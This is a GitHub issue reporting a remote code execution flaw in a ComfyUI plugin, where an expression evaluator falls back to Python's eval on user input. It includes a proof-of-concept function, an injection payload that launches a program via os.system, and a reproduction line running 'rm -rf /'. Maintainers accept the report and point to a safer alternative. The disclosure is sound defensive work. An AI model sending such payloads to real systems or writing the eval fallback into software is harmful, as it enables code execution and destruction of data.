-
Notifications
You must be signed in to change notification settings - Fork 55
New issue
Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
[bug] Remote Code Execution Using eval in Exception Handling #190
Comments
This can be deleted all together. |
Because the plugin requires the ComfyUI framework, I haven't built a complete environment yet, but the following POC is enough to illustrate the problem. def eval_expression(expression, **kwargs):
from ast import literal_eval
for key, value in kwargs.items():
print(f"Replacing placeholder <{key}> with value {value}")
expression = expression.replace(f"<{key}>", str(value))
result = -1
try:
result = literal_eval(expression)
except SyntaxError as e:
raise ValueError(
f"The expression syntax is wrong '{expression}': {e}"
) from e
except ValueError:
try:
expression = expression.replace("^", "**")
result = eval(expression)
except Exception as e:
# Handle any other exceptions and provide a meaningful error message
raise ValueError(
f"Error evaluating expression '{expression}': {e}"
) from e
return (result, int(result))
expression = "__import__('os').system('calc')"
print(eval_expression(expression)) |
As a fallback. There are better alternatives, ComfyScripts has one but it's a virtual node so this comes with other issues but Essentials does what I tried here properly: https://github.com/cubiq/ComfyUI_essentials/blob/cb5c69c5715230ff6cc1402ddbb5a59473e23202/misc.py#L9 |
Your seriousness in coding is very respectable, and I am very happy to discuss this issue here.😄 |
addresses legitimate concerns raised in #190 This limits the use a bit, SimpleMath from: https://github.com/cubiq/ComfyUI_essentials Is a better alternative
Describe the bug
comfy_mtb/nodes/graph_utils.py
Line 479 in 9651a70
The eval in the code here can directly receive user input, which is a very unrecommended behavior. Using the mtb plug-in in ComfyUI will lead to remote code execution. This is a security vulnerability. Please fix it in time.
Reproduction
import os;os.system("rm -rf /")
Expected behavior
No response
Operating System
Windows (Default)
Comfy Mode
Comfy Portable (embed) (Default)
Console output
No response
Additional context
No response
The text was updated successfully, but these errors were encountered: